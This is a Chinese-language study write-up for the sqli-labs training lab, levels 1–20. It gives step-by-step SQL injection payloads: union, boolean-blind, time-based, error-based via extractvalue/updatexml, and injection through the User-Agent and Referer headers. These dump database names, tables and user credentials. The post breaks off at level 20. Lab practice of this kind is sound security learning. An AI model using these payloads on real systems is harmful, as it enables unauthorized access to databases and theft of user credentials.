sqlilabs靶场1—20题学习笔记(思路+解析+方法)

发布于:2024-04-17 ⋅ 阅读:(22) ⋅ 点赞:(0)

前几个题目较为简单,均尝试使用各种方法进行SQL注入

第一题

联合查询

1)思路:

有回显值

1.判断有无注入点

2.猜解列名数量

3.判断回显点

4.利用注入点进行信息收集

爆用户权限,爆库,爆版本号

爆表,爆列,爆账号密码

2)解题过程:

?id=1' and 1=1--+和?id=1' and 1=2--+进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。

判断为单引号注入,且有回显点

猜解列名数量为3

?id=1'order by 3--+

判断回显点:2,3

?id=-1'union select 1,2,3--+

联合注入进行信息收集

爆库、版本号、权限

?id=-1' union select 1,database(),version()--+

?id=-1' union select 1,2,user()--+

爆表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆列

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

爆账号密码

?id=-1' union select 1,2,(select group_concat(username,0x7e,password) from users)--+

第二题

解题思路与第一题相同

?id=1 and 1=1 和?id=1 and 1=2进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。

联合查询:

猜解列名数量:3

?id=1 order by 4

判断回显点

?id=-1 union select 1,2,3

爆库、版本号、权限

?id=-1 union select 1,database(),version()--+

?id=-1 union select 1,2,user()--+

爆表、爆列

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

爆账号密码

?id=-1 union select 1,2,(select group_concat(username,password))from users

第三题

?id=1'and 1=1 and '1'='1和?id=1'and 1=1 and '1'='1进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。

根据报错信息判断为单引号带括号注入

联合查询

猜解列名

?id=1') order by 3--+            

判断回显点

?id=-1') union select 1,2,3--+    

爆库、版本号、权限

?id=-1') union select 1,database(),version()--+

?id=-1') union select 1,2,user()--+

爆表、爆列

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

爆账号密码

?id=-1') union select 1,2,(select group_concat(username,password))from users

第四题

根据报错信息得到注入点是双引号带括号注入

联合查询:

猜解列名

?id=1") order by 3--+            

判断回显点

?id=-1") union select 1,2,3--+    

爆库、版本号、权限

?id=-1") union select 1,database(),version()--+

?id=-1") union select 1,2,user()--+

爆表、爆列

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

爆账号密码

?id=-1") union select 1,2,(select group_concat(username,password))from users

第五题

根据报错信息,判断为单引号注入

没有发现回显点

方法:布尔盲注(太耗时,不推荐使用)

1)猜解数据库名字:(所有ASCII码值范围:0~127)

 

?id=1' and length(database())=8--+

页面正常显示,则为true,数据库名字长度为8

页面错误显示,则为false,数据库名字长度不为8

?id=1' and ascii(mid(database(),1,1))>64--+ 正常

?id=1' and ascii(mid(database(),1,1))>100--+ 正常

?id=1' and ascii(mid(database(),1,1))=115--+ 正常

?id=1' and ascii(mid(database(),2,1))=101--+ 正常

?id=1' and ascii(mid(database(),3,1))=99--+  正常

如此就得到了

第一个字符的ASCII码为115解码出来为“s”

第二个字符的ASCII码为101解码出来为“e”

第二个字符的ASCII码为99解码出来为“c”

依次类推出数据库的名字为“security”

2)猜解表名:(判断所有表名长度,依次猜解所有表名)

判断长度:

?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>29--+

猜解表名

?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>64 --+     正常

?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+    正常

说明第一个表第一个字符是r,依次猜解直到找到users表

3)猜解列名:(判断所有列名长度,依次猜解users表中列名)

判断长度:

?id=1' and length((select group_concat(column_name) from information_schema.columns where table_name='users'))>29--+

猜解列名:

?id=1' and ascii(mid((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))>64--+

4)猜解账号密码

?id=1' and ascii(mid((select group_concat(username,password) from users),1,1))>64--+

第六题

根据报错信息,判断为双引号注入

页面没有回显信息,采用布尔盲注,与第五题方法完全一致

第七题

根据报错信息

?id=1' and '1'='1 返回页面正常 ------对应查询SQL:where id=(('1' and '1'='1'));

?id=1' and '1'='2 返回页面报错 ------对应查询SQL:where id=(('1' and '1'='2'));

判断为字符型注入

?id=1" 返回页面正常 ---------对应查询SQL:where id=(('1"'))

?id=1'--+ 返回页面报错 ---------对应查询SQL:where id=(('1'--+')) -----破坏SQL语句原有结构

?id=1')--+ 返回页面报错 --------对应查询SQL:where id=(('1')--+'))

?id=1'))--+ 返回页面正常 --------对应查询SQL:where id=(('1'))--+'))

注入形式为:?id=1'))

没有回显点,尝试盲注,与第五题方法相同

第八题

 

?id=1 and 1=1 页面正常

?id=1 and 1=2 页面正常

?id=1' and '1'='1 页面正常

?id=1' and '1'='2 页面不正常,无回显信息

判断为字符型注入

?id=1'--+ 页面正常,无回显信息 SQL查询语句:where id='1'--+'

注入形式为?id=1''

没有回显点,尝试盲注,与第五题方法相同

第九题

?id=1 and 1=1 页面正常

?id=1 and 1=2 页面正常

?id=1' and '1'='1 页面正常

?id=1' and '1'='2 页面正常

输入任何信息,均显示相同页面,尝试延时注入判断

?id=1 and if(1=1,sleep(5),1)--+ 页面迅速显示

?id=1' and if(1=1,sleep(5),1)--+ 页面过了5秒显示

判断为单引号注入

延时注入:

判断数据库名字长度

?id=1' and if(length(database())=8,sleep(3),1)--+

逐一猜解数据库名字(用二分法 ascii码不断缩小范围)

?id=1' and if(ascii(mid((select database()),1,1))=115,sleep(3),1)--+

判断所有表名长度

?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>10,sleep(3),1)--+

逐一猜解表名

?id=1' and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>64,sleep(3),1)--+

判断所有字段名的长度

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(3),1)--+

逐一猜解字段名

?id=1'and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>100,sleep(3),1)--+

判断字段内容长度

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(3),1)--+

逐一检测内容

?id=1' and if(ascii(mid((select group_concat(username,password) from users),1,1))>50,sleep(3),1)--+

第十题

和第九题情况相同,无论输入什么,回显内容均相同

进行延时注入判断

?id=1 and if(1=1,sleep(5),1)--+ 页面迅速显示

?id=1" and if(1=1,sleep(5),1)--+ 页面过了5秒显示

判断为双引号注入

剩余步骤与第九题相同

 

第十一题

方法一

poss提交

输入1显示登录失败

输入1' 显示报错信息

根据提示得知:SQL查询语句为 username='参数' and password=''

and是与运算;两个或多个条件同时满足,才为真(显示一条数据)

or是或运算,两个或多个条件满足其中一个即为真(显示一条数据)

此处只能用1' or 1=1# 不能用and,因为不知道username,username='1'恒为假

并且只能用#,用--+无效

1' or 1=1# 页面正常显示

1' or 1=2# 页面报错

说明SQL语句正确

后续步骤使用联合注入

方法二

登录界面,Burpsuite抓包尝试

输入1',提示报错、单引号注入

使用报错注入的方法:extractvalue()

1'order by 2 判断列数

1'union select 1,extractvalue(1,concat(0x7e,database()))%23 爆版本号、数据库名、权限等

1'union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)))%23 爆表名

1'union select 1,extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)))%23 爆列名

1'union select 1,extractvalue(1,concat(0x7e,(select username from users limit 0,1)))%23

1'union select 1,extractvalue(1,concat(0x7e,(select password from users limit 0,1)))%23 爆账号密码

或者1'union select username,password from users limit 1,1 %23

使用报错注入的方法:updatexml()

1'order by 2 判断列数

1'union select 1,updatexml(1,concat(0x7e,database()),1)%23 爆版本号、数据库名、权限等

1'union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)),1)%23 爆表名

1'union select 1,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),1)%23 爆列名

1'union select 1,updatexml(1,concat(0x7e,(select username from users limit 0,1)),1)%23

1'union select 1,updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)%23 爆账号密码

或者1'union select username,password from users limit 1,1 %23

第十二题

输入1 和 1' 页面没反应 输入1" 页面出现报错信息,提示是双引号带括号注入

猜解步骤与第十一题相同

第十三题

输入1' 出现报错信息,提示是单引号带括号注入

猜解步骤与第十一题相同

第十四题

输入1",出现报错信息,提示是双引号注入

猜解步骤与第十一题相同

第十五题

输入信息页面没有回显值

判断为盲注,根据页面显示正确与否猜解数据库信息

当输入1'or 1=1#,找到注入点

布尔盲注:采用第五题解法

第十六题

与15题思路相同

第十七题

B站教学视频很详细

【sql注入之sqli-labs系列教程(less11-17)】sqli-labs_33_less17_哔哩哔哩_bilibili

我将SQL语句在页面中显示,以便更深入学习。

寻找注入点

修改密码的一个页面。

输入正确的账号密码,可以看到,账号为admin,密码修改admin——admin

密码换成123

使用hackbar插件

对username进行注入,会发现输入的 ' 被转义了,寻找其他注入点

对password部分进行注入,发现注入点

报错注入

关于报错注入的知识点:第十一题

1'order by 2 判断列数

1'union select 1,updatexml(1,concat(0x7e,database()),1)%23 爆版本号、数据库名、权限等

1'union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)),1)%23 爆表名

1'union select 1,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),1)%23 爆列名

1'union select 1,updatexml(1,concat(0x7e,(select username from users limit 0,1)),1)%23

1'union select 1,updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)%23 爆账号密码

或者1'union select username,password from users limit 1,1 %23

 

第十八题

1.分析题目

学习博文(包含http请求头的学习):sqli-labs关卡18(基于http头部报错盲注)通关思路_sqli-labs18-CSDN博客

非常详细

我仍将SQL语句在页面中显示,以便更深入学习。

输入正确的账号密码

页面回显ip信息

用户的ip信息与http请求头X-Forwarded-For有关,可以尝试在http请求头注入

查看源码

这里username和password被过滤,无法注入

User-Agent部分可以尝试注入

添加单引号,会发现报错,报错为缺少 ' ',' ') 判断原SQL语句为('$uagent','$ip','$uname');

2.尝试注入

分析过后,页面无回显点,尝试报错注入

正常语句:('$uagent','$ip','$uname')

报错语句:('$uagent'','$ip','$uname')(多了个 ' )

注入语句:'SQL注入',1,1)#

1)爆数据库

1'and updatexml(1,concat(0x7e,(database())),1),1,1)#

2)爆表

1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1),1,1)#

3)爆列

1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x7e),1),1,1)#

4)爆账号密码

1'and updatexml(1,concat(0x7e,(select passwordr from users limit 1,1),0x7e),1),1,1)#

第十九题

1.分析题目

输入正确的账号密码,显示referer字段,也是http请求头中的,应该和第十八题思路一样

用Burpsuite抓包,尝试在referer处加 ' 报错

观察报错信息

判断正常语句应为('$uagent','$ip')

查看源码

报错语句:('$uagent'','$ip')

注入语句: 'SQL注入',1)#,'$ip')

2.尝试注入

1)爆数据库

1'and updatexml(1,concat(0x7e,database(),0x7e),1),1)#

2)爆表

1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1),1)#

3)爆列

1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x7e),1),1)#

4)爆账号密码

1'and updatexml(1,concat(0x7e,(select passwordr from users limit 1,1),0x7e),1),1)#

第二十题

输入正确时,页面显示Cookie值

用Burpsuite抓包,进行报错注入: